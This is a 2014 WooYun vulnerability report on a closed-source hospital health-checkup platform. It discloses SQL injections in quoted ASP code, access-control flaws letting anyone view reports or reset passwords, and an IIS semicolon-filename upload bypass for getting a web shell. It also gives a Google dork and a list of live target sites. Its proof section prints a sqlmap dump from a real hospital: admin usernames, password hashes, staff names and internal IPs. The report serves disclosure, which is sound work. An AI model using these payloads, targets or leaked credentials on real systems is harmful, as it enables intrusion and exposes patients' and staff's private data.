当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085479

漏洞标题:某通用体检平台多个漏洞影响百万用户信息(论通用非开源系统安全性)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-12-02 16:31

修复时间:2015-03-02 16:32

公开时间:2015-03-02 16:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-02: 细节已通知厂商并且等待厂商处理中
2014-12-07: 厂商已经确认,细节仅向厂商公开
2014-12-10: 细节向第三方安全合作伙伴开放
2015-01-31: 细节向核心白帽子及相关领域专家公开
2015-02-10: 细节向普通白帽子公开
2015-02-20: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

前段时间出来一个火热的考验用户信息泄露,导致被大量黑产利用,这里通过某通用体检平台多个漏洞,可以导致数百万用户信息泄露,来讨论通用非开源系统安全性,使用此系统的用户敏感信息或已泄露,被黑产利用。

详细说明:

前段时间出来一个火热的考验用户信息泄露,导致被大量黑产利用,这里通过某通用体检平台多个漏洞,可以导致数百万用户信息泄露,来讨论通用非开源系统安全性,使用此系统的用户敏感信息或已泄露,被黑产利用。

公司:北京中科恒业科技有限公司
官网:http://www.zoneking.cn/
用户:http://www.zoneking.cn/Zkuser/zkuser.html
google关键字:技术支持:北京中科恒业科技有限公司 inurl:/happy/|/health/|/ardour/|/active/
部分案例:
http://medical.cyszxyy.com:8080/happy/index.asp
http://www.syyyy.cn:82/happy/index.asp
http://www.kqtjzx.com/happy/index.asp
http://tjzx.bydsfy.com/happy/index.asp
http://itha.nmciq.gov.cn/happy/index.asp
http://tjzx.hzch.gd.cn/happy/index.asp
http://www.sptdch.cn:8080/happy/index.asp
http://chati.shiliyiyuan.cn/tjinfo/tjsearch.asp
http://xqxtj.com/health/index.asp
http://qzhtjktj.com/ardour/index.asp
http://www.jyyyw.com:9000/happy/index.asp
http://sh.88888719.com/health/index.asp
http://www.dazhebei.cn/ardour/index.asp
http://www.pmzfy.com/ardour/index.asp
http://www.yqtjzx.com/happy/index.asp
http://www.xnsdyyy.com/happy/index.asp
http://www.zswsxxw.com/happy/index.asp
http://www.xy2fytjzx.com/happy/index.asp
http://www.xy2fytjzx.com/happy/index.asp
http://jkcx.xidian.edu.cn/happy/index.asp
......


1.png


有市级医院体检中心,有连锁体检中心,有学校体检中心,有事业单位体检中心等
SQL注入+越权操作+任意用户名密码漏洞
此系统的SQL注入漏洞至少有几十个,这里只简单的列举几个
info_s.asp文件

<%
sql="select id,Sclass from zk_Sclass where bid="&request("bid")&" and id="&request("sid")&" order by px desc"
Set Rs=server.CreateObject("Adodb.recordset")
Rs.open sql,conn,1,1

if rs.eof then
%>


虽然这里request("bid")在文件开头有过滤,但是这里的request("sid")未过滤,导致注入
infos_content.asp文件

<%
sqlinfo="select Infotitle,Content from zk_Info where Infoid="&request("id")&" and bid="&request("bid")&" and sid="&request("sid")&""
Set Rsinfo=server.CreateObject("Adodb.recordset")
Rsinfo.open sqlinfo,conn,1,1
if not rsinfo.eof then
Infotitle=rsinfo("Infotitle")
Content=rsinfo("Content")
end if
rsinfo.close
%>


虽然这里request("bid")在文件开头有过滤,但是这里的request("sid")和request("id")未过滤,导致两处注入。
jkhealth_zx.asp文件

<%
if Request("search")="" then
Set Rs = Server.CreateObject("ADODB.Recordset")
Sql = "Select * From zk_gb Order BY [stop] desc, id DESC "
Rs.Open Sql,conn,1,1
else
snr=Request("snr")
stype=Request("stype")
if snr="" then
response.write "<script language='javascript'>"
response.write "alert('你没有输入任何搜索内容!');"
response.write "history.go(-1);"
response.write "</script>"
response.end
end if
if stype<>"" then
Set Rs = Server.CreateObject("ADODB.Recordset")
Sql = "Select * From zk_gb where "&stype&" like '%" &snr& "%' Order BY [stop] desc, id DESC "
Rs.Open Sql,conn,1,1
else
Set Rs = Server.CreateObject("ADODB.Recordset")
Sql = "Select * From zk_gb where sname like '%" &snr& "%' or scontent like '%" &snr& "%' or stitle like '%" &snr& "%' Order BY [stop]desc, id DESC "
Rs.Open Sql,conn,1,1
end if
end if


这里的snr=Request("snr")和stype=Request("stype")都为过滤,导致两处sql注入
chkuser.asp文件

<%
'个人用户------------------------------------------------------------------开始
If trim(request("action"))="user" Then
'个人用户登录+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++开始
If Trim(request("utype"))="login" Then

seltype=Trim(request("seltype"))
userid=trim(request("userid"))
username=trim(request("username"))
pwd=trim(request("password"))
'seltype 选择登录类型 0 体检号 1 身份证 2 VIP号 3 工号
select case seltype
case "0","1","2","3"
loginchkformeorr()
loginact()
case else
'response.Write "登录类没有选择"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
loginchkformeorr(9999)
end select

End If

'个人用户登录+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++结束
End If
'个人用户------------------------------------------------------------------结束
%>


跟踪loginact函数,/include/comm.asp文件

<%
'选择登录方式
sub loginact()
select case seltype
case "0"
'response.Write "登录类体检号"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logstudyid()
case "1"
'response.Write "登录类身份证"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logstudysfzh()
case "2"
'response.Write "登录类VIP号"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logstudyvip()
case "3"
'response.Write "登录类工号"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logstudygh()
case else
'response.Write "登录类没有选择"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
response.Redirect "reportsearch.asp"
end select
end sub
%>


跟踪logstudyid函数

<%
'通过体检号登录
sub logstudyid()
'response.Write ultype

Set Rsu=Server.CreateObject("adodb.recordset")
str_sqlu="Select top 1 * from zk_WebYH where StudyId='"&userid&"' order by userid desc"
Rsu.open str_sqlu,conn,1,3


这里的userid=trim(request("userid"))未过滤,进入SQL,导致SQL注入
这里是个人查询,团体查询存在同样的问题
文件rpshow.asp

<%
cardid=trim(request("cardid"))
tid=trim(request("tid"))
if cardid="" and tid="" then
response.Write "<a href=index.asp'>没有相关的信息,出错了,请返回</a>"
response.End()
%>
......
if not rs1.eof then
'检查是否有在此科室在做过项目
Set Rs11=server.CreateObject("adodb.recordset")
sql11="SELECT * FROM "&trim(rs("ksbm"))&"b where studyid='"&trim(request("tid"))&"'"
rs11.open sql11,conn,1,1
//这里已经有一处SQL注入了,trim(request("tid")),继续
......
'用户的基本情况
Set Rsac=server.CreateObject("adodb.recordset")
sqlac="select id,xm,xb,csny,hf,jdrq,dwdm,DJXM,JCXM,YCXM,WCXM from jcxx where SFZH = '"&cardid&"' and id='"&tid&"'"
Rsac.open sqlac,conn,1,1
//这里存在两处SQL注入
//等等,此文件还有很多关于cardid和tid的注入


这里主要是cardid和tid的注入问题,就是查询个人体检报告的id
这里除了SQL注入外,还有通过修改cardid和tid值即可查看其它用户的体检报告了
modifyusered.asp文件

<%
CID=trim(request("cardid"))
newpass=trim(request("newpass"))
renewpass=trim(request("renewpass"))
......
Set Rs=server.CreateObject("adodb.recordset")
sql="select * from zk_webyh where userid = "&CID&""
'response.Write sql
Rs.open sql,conn,2,3
historyPwd=Rs("PSW")
Rs("PSW")=newpass
rs.update()


这里的CID=trim(request("cardid"))未过滤,导致SQL注入漏洞
CID即为用户的userid,通过CID来修改用户的密码,而且没有oldpassword的验证,导致通过修改CID即可修改对应用户的密码,导致任意用户密码修改
文件上传GetShell漏洞
文件upfile_picsx.asp

<%
msg="文件成功上传!"
msgx="文件成功上传,请不要更改文件的地址!"
set upload=new upload_file
if upload.form("act")="uploadfile" then
filepath=trim(upload.form("filepath"))

i=0
for each formName in upload.File
set file=upload.File(formName)

fileExt=lcase(file.FileExt) '得到的文件扩展名不含有.
if fileext<>"gif" and fileext<>"jpg" and fileext<>"swf" and fileext<>"png" then
response.write "<script language=javascript>alert('上传的文件只支持.JPG,.GIF,.SWF,.PNG格式!');history.go(-1);</script>"
response.End()
end if
filesname=trim(upload.form("filesname"))
filename=filepath&filesname&"."&fileExt
fromfilename=filesname&"."&fileExt
'response.write filename
%>


可以看到最后:
filename=filepath&filesname&"."&fileExt
上传保存的文件名为:文件路径+文件名称+后缀
这里的文件路径+文件名称都可控,导致任意文件上传,如:
/upload/files/+222222.asp;+111111.jpg
即可绕过后缀的判断,最后文件名为:/upload/files/222222.asp;.jpg
在asp的环境下,大多为IIS,而且IIS6也不少,导致解析拿shell
等等。。。。。。
还有其他漏洞就不在依依分析了
============================================邪恶的分割线======================================
下面我们来讨论下非开源通用型系统的问题
1、是否能确定他的通用性
通上面我们知道此系统为非开源系统,但是是不是真正的全部通用我们不能100%确定
只能通过更多的案例来证明其通用性了
有些小伙伴说找到至少5个,10个,20个等等
然后就是上SQLmap开始跑注入,有些能跑出数据,有些连数据都跑不出,的确存在漏洞
怎么判断这个系统到底是不是通用性的咧,这个我也不知道了,交给管理吧
2、这些系统真的好么?
首先那些在wooyun上已经提交的“某通用型系统xxxxxx漏洞”这些漏洞太多了
现在把那些公开的漏洞你去验证,大部分都存在漏洞,还是没修复
像这样的程序,用户量不是很多,但是也不少,有些还是转给政府部门使用,像这个体检平台涉及大量用户敏感信息的系统,我们怎么才能让其更注重安全性,能修复漏洞
厂商估计想到,我非开源,你怎么搞我的漏洞,黑盒吗,哈哈哈,我加waf。。。
源码对于黑客来说,那不是太简单了要拿到的话
3、结论
“某通用型系统xxxxxx漏洞”这些漏洞要到的怎样才能让其注重安全性,让修复漏洞
“某通用型系统xxxxxx漏洞”这些漏洞泄露的用户信息怎么办
“某通用型系统xxxxxx漏洞”这些系统还能不能使用

漏洞证明:

拿http://medical.cyszxyy.com:8080/happy/index.asp举例
SQL注入+越权

---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
Database: web
Table: zk_Admin
[4 entries]
+--------+--------------+---------------+-------------------+------------------+------------+------------+----------------+------------------+--------------------+
| Userid | dePartmentId | userName | userMemo | passWord | realName | LoginTimes | LastLoginIP | RndPassword | LastLoginTime |
+--------+--------------+---------------+-------------------+------------------+------------+------------+----------------+------------------+--------------------+
| 10 | 11 | administrator | <blank> | 84c45962d887564f | admin | NULL | 172.168.10.153 | 3L15GsRfey2C3g79 | 06 27 2013 8:19AM |
| 3 | 9 | 123 | <blank> | ac59075b964b0715 | 123 | NULL | 172.168.10.69 | Y1tGw3j886XtB846 | 05 7 2013 3:32PM |
| 7 | 10 | kinglion | 計算機信息科維護人員 | 207f48202052af1d | 竇傑輝 | NULL | 172.168.10.153 | X1tFw3i876WsA846 | 06 27 2013 8:15AM |
| 9 | 10 | treasure | 朝阳市中心医院计算机信息科维护人员 | 50e238834d0adae3 | 屈智博 | NULL | 172.168.10.153 | 4P263W7JiD425kyd | 06 27 2013 8:46AM |
+--------+--------------+---------------+-------------------+------------------+------------+------------+----------------+------------------+--------------------+
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
Database: web
+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| dbo.HYB | 590417 |
| dbo.YKB | 86705 |
| dbo.KQB | 55440 |
| dbo.WKB | 54817 |
| dbo.EBHB | 53360 |
| dbo.YBB | 47814 |
| dbo.zk_WebYH | 44652 |
| dbo.JCSFXM | 33311 |
| dbo.FZ_JCSFXM | 27660 |
| dbo.USB | 23700 |
| dbo.JJJL | 22791 |
| dbo.ELB | 21368 |
| dbo.DXB | 20622 |
| dbo.FKB | 14994 |
| dbo.JCXX | 13542 |
| dbo.JLB | 11406 |
| dbo.BCB | 6718 |
| dbo.EGB | 5505 |
| dbo.EKB | 4498 |
| dbo.PSB | 3200 |
| dbo.CTB | 1300 |
......
+------------------------+---------+


这里主要的是zk_WebYH表,几位注册用户的信息表
还有JCXX表
里面都有用户的真实姓名,身份证号,手机,email,医保卡号,住址,身体健康信息等

找了几个案例,测试了下用户数量:
上海市普陀区中心医院健康体检站:12.8w
惠州市中心人民医院健康管理(体检)中心:16w
威海市立医院健康体检中心:26.7w
中国平煤神马集团职业病防治院:12.7w


等等,所有案例加起来用户数据肯定超过百万了
真实姓名,身份证号,手机,email,医保卡号,住址,身体健康信息等
这些信息一点也不亚于考验信息的泄露,及黑产的利用!!!!!!!!

2.png


getshell

3.png

修复方案:

不知道他们会不会修复

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-12-07 15:12

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过以往建立的联系渠道向软件生产厂商——中科恒业公司通报。

最新状态:

暂无